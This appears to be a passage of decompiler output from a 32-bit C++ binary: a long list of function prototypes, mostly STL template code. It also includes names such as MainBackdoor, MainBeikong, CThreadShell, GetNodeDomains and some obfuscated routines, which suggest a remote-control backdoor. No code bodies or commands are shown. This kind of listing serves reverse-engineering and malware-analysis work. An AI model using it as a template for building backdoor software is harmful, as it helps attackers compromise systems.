std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique_139(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_3 * a4); int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2); int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3); void std____copy_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3); int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t ** a3); int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(int32_t * a1, int32_t * a2); int32_t CConfig__SetDefaultIp(int32_t result, int32_t a2); int32_t CLoopCmd__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CCpuLimit__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CCpuLimit__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CConfig__InitAbsorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CConfig__InitExtract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CConfig__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CConfig__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3); int32_t CFakeCustom_144(int32_t * a1); void std__out_of_range(void); int32_t Fetcher_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3); int32_t Storer_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4); int32_t CMedia__operator_gt__gt__lt_std__string_gt_(int32_t * a1, int32_t a2); int32_t CMedia__operator_lt__lt__lt_std__string_gt_(int32_t * a1, int32_t * a2); void __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_CSubTask_gt_(int32_t * a1); int32_t std__allocator_lt_CSubTask_gt__155(int32_t result); int32_t Fetcher_lt_bool_gt___Done(char * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_gt__gt__lt_bool_gt_(int32_t * a1, char * a2); int32_t Fetcher_lt_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_gt__gt__lt_int_gt_(int32_t * a1, int32_t * a2); int32_t Fetcher_lt_unsigned_short_gt___Done(int16_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_gt__gt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2); int32_t Storer_lt_bool_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_lt__lt__lt_bool_gt_(int32_t * a1, char * a2); int32_t Storer_lt_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_lt__lt__lt_int_gt_(int32_t * a1, int32_t * a2); int32_t Storer_lt_unsigned_short_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_lt__lt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2); int32_t Fetcher_lt_unsigned_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_gt__gt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct(int32_t * a1, int32_t * a2); int32_t Storer_lt_unsigned_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5); int32_t CMedia__operator_lt__lt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2); void __gnu_cxx____mt_alloc_base_lt_CSubTask_gt_(void); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size(void); int32_t __gnu_cxx__operator__lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(int32_t a1); int32_t std__allocator_lt_CSubTask_gt__161(int32_t a1, int32_t a2); int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3); int32_t std____copy_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3); int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(struct struct_3 * a1, int32_t * a2); int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___clear(int32_t * a1); int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3); int32_t std____copy_backward_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(int32_t * a1, struct struct_3 * a2, struct struct_3 * a3); int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4); int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t * a1, int32_t * a2); int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4); int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__CFakeCustom_gt_(int32_t ** a1, int32_t * a2, struct struct_6 * a3, int32_t * a4); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, struct struct_6 * a3); int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___push_back(int32_t * a1, int32_t * a2); void KillHandler(void); int32_t MainMonitor(void); int32_t MainSystool(int32_t * a1, int32_t ** a2, int32_t a3); int32_t MainProcess(void); int32_t MainBackdoor(void); int32_t MainBeikong(void); int32_t KDS87y(int16_t * a1, int32_t * a2); int32_t HGrd9(int32_t result); int32_t Mndyuf(int32_t result); int32_t BGtd98(int32_t result); int32_t nkfsd8(char * a1); int32_t tRd76(char * a1); int32_t Kusdf9(char * a1); int32_t Isuf6(char * a1); int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(int32_t * a1, char * a2, char * a3); int32_t _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(char * a1, char * a2, char * a3); int32_t Osdku6(int32_t * a1, int32_t a2); int32_t wer54(int32_t * a1, int32_t a2); int32_t CManager__GetNodeDomains(int32_t * a1); int32_t CManager__CloseAllSockets(char * a1, uint32_t a2); int32_t CManager_182(int32_t * a1); int32_t CManager__ZXMainProcess(int32_t * a1); int32_t CManager__MainProcess(int32_t * a1, int32_t * a2); int32_t CManager__Initialize(int32_t * a1); int32_t CBillStatus_184(struct struct_42 * a1); int32_t CCommonResponse_185(struct struct_43 * a1); int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_not__eq_(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator_ptr_(int32_t * a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_begin(int32_t * a1); int32_t CThreadMessageList_lt_CCmdMsg_gt___Initialize(int32_t * a1, int32_t a2); int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt___Initialize(int32_t a1, int32_t a2); int32_t CThreadMessageList_lt_CThreadConnection_gt___Initialize(int32_t * a1, int32_t a2); int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt___Initialize(int32_t a1, int32_t a2); int32_t CThreadMessageList_lt_CThreadShell_gt___Initialize(int32_t * a1, int32_t a2); int32_t CThreadSignaledMessageList_lt_CThreadShell_gt___Initialize(int32_t a1, int32_t a2); int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt_(int32_t * a1, int32_t * a2); int32_t std__pair_lt_std___Rb_tree_const_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt___operator__(int32_t * a1); void __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_void__ptr__gt_(int32_t result); void __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__191(int32_t result); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_right(int32_t * a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_left(int32_t * a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(int32_t * a1); int32_t std___Identity_lt_void__ptr__gt___operator_lb__rb_(int32_t a1); int32_t std__less_lt_void__ptr__gt___operator_lb__rb_(int32_t * a1, int32_t * a2); int32_t std___Rb_tree_iterator_lt_void__ptr__gt_(int32_t ** a1, int32_t * a2); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t * a2); int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator_eq__eq_(int32_t * a1, int32_t * a2); int32_t std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3); int32_t std___Rb_tree_const_iterator_lt_void__ptr__gt__192(int32_t * a1, int32_t a2); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin_193(int32_t * a1, int32_t a2); int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(int32_t ** a1, int32_t a2); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t * a1, int32_t a2); int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___end(int32_t ** a1, int32_t a2); int32_t std__allocator_lt_CSubTask_gt__196(int32_t a1, int32_t a2); int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt____Vector_impl_197(struct struct_3 * a1, int32_t a2); int32_t std___Vector_base_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__198(struct struct_6 * a1, int32_t a2); int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__205(int32_t a1); int32_t std__allocator_lt_CSubTask_gt__206(int32_t a1); int32_t std__vector_lt_CSubTask_comma__std__allocator_lt_CSubTask_gt___gt__207(struct struct_6 * a1, int32_t a2); int32_t CTask_208(struct struct_45 * a1); int32_t CInitResponse_209(struct struct_45 * a1); void __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_CCmdMsg__ptr__gt_(int32_t result); void __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_CThreadConnection__ptr__gt_(int32_t result); void __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_CThreadShell__ptr__gt_(int32_t result); void __gnu_cxx____mt_alloc_base_lt_void__ptr__gt_(void); int32_t __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(int32_t a1); int32_t std__allocator_lt_void__ptr__gt__211(int32_t a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value(int32_t * a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key(int32_t * a1); int32_t std___Rb_tree_iterator_lt_void__ptr__gt___operator__(int32_t * a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_value_212(int32_t a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213(int32_t a1); void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt_(void); int32_t __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(int32_t a1); int32_t std__allocator_lt_CCmdMsg__ptr__gt__220(int32_t a1); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_init(int32_t ** a1); void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(int32_t * a1); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl(int32_t * a1); int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__221(int32_t result); void __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy(void); void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt_(void); int32_t __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(int32_t a1); int32_t std__allocator_lt_CThreadConnection__ptr__gt__223(int32_t a1); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_init(int32_t ** a1); void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(int32_t * a1); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl(int32_t * a1); int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__224(int32_t result); void __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy(void); void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt_(void); int32_t __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(int32_t a1); int32_t std__allocator_lt_CThreadShell__ptr__gt__226(int32_t a1); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_init(int32_t ** a1); void __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void); int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(int32_t * a1); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl(int32_t * a1); int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__227(int32_t result); void __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy(void); void __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_(void); int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__228(int32_t a1); int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__229(int32_t a1); int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__230(int32_t a1); int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__231(int32_t a1, int32_t a2); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____Rb_tree_impl_lt_std__less_lt_void__ptr__gt__comma__false_gt__232(int32_t result, int32_t a2); void std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt_(int32_t * a1, int32_t a2, int32_t a3); int32_t std__allocator_lt_void__ptr__gt__233(int32_t a1); int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2); void std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt__235(int32_t * a1); int32_t __gnu_cxx____mt_alloc_base_lt_void__ptr__gt___construct(int32_t a1, int32_t * a2); int32_t std__allocator_lt_CCmdMsg__ptr__gt__246(int32_t a1); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_clear(int32_t ** a1); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1); int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1); int32_t CThreadMessageList_lt_CCmdMsg_gt_(int32_t a1); int32_t CThreadMessageList_lt_CCmdMsg_gt__247(int32_t a1); int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt_(int32_t a1); int32_t std__allocator_lt_CThreadConnection__ptr__gt__248(int32_t a1); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_clear(int32_t ** a1); int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1); int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1); int32_t CThreadMessageList_lt_CThreadConnection_gt_(int32_t a1); int32_t CThreadMessageList_lt_CThreadConnection_gt__249(int32_t a1); int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt_(int32_t a1); int32_t std__allocator_lt_CThreadShell__ptr__gt__250(int32_t a1); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_clear(int32_t ** a1); int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1); int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1); int32_t CThreadMessageList_lt_CThreadShell_gt_(int32_t a1); int32_t CThreadMessageList_lt_CThreadShell_gt__251(int32_t a1); int32_t CThreadSignaledMessageList_lt_CThreadShell_gt_(int32_t a1); void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(void); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__252(int32_t a1); int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__253(int32_t a1); int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__254(int32_t a1); int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__255(int32_t a1, int32_t a2); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl_256(int32_t ** a1, int32_t a2); int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__257(int32_t ** a1, int32_t a2); int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258(int32_t ** a1, int32_t a2); int32_t CThreadMessageList_lt_CCmdMsg_gt__259(int32_t * a1); int32_t CThreadMessageList_lt_CCmdMsg_gt__260(int32_t * a1); int32_t 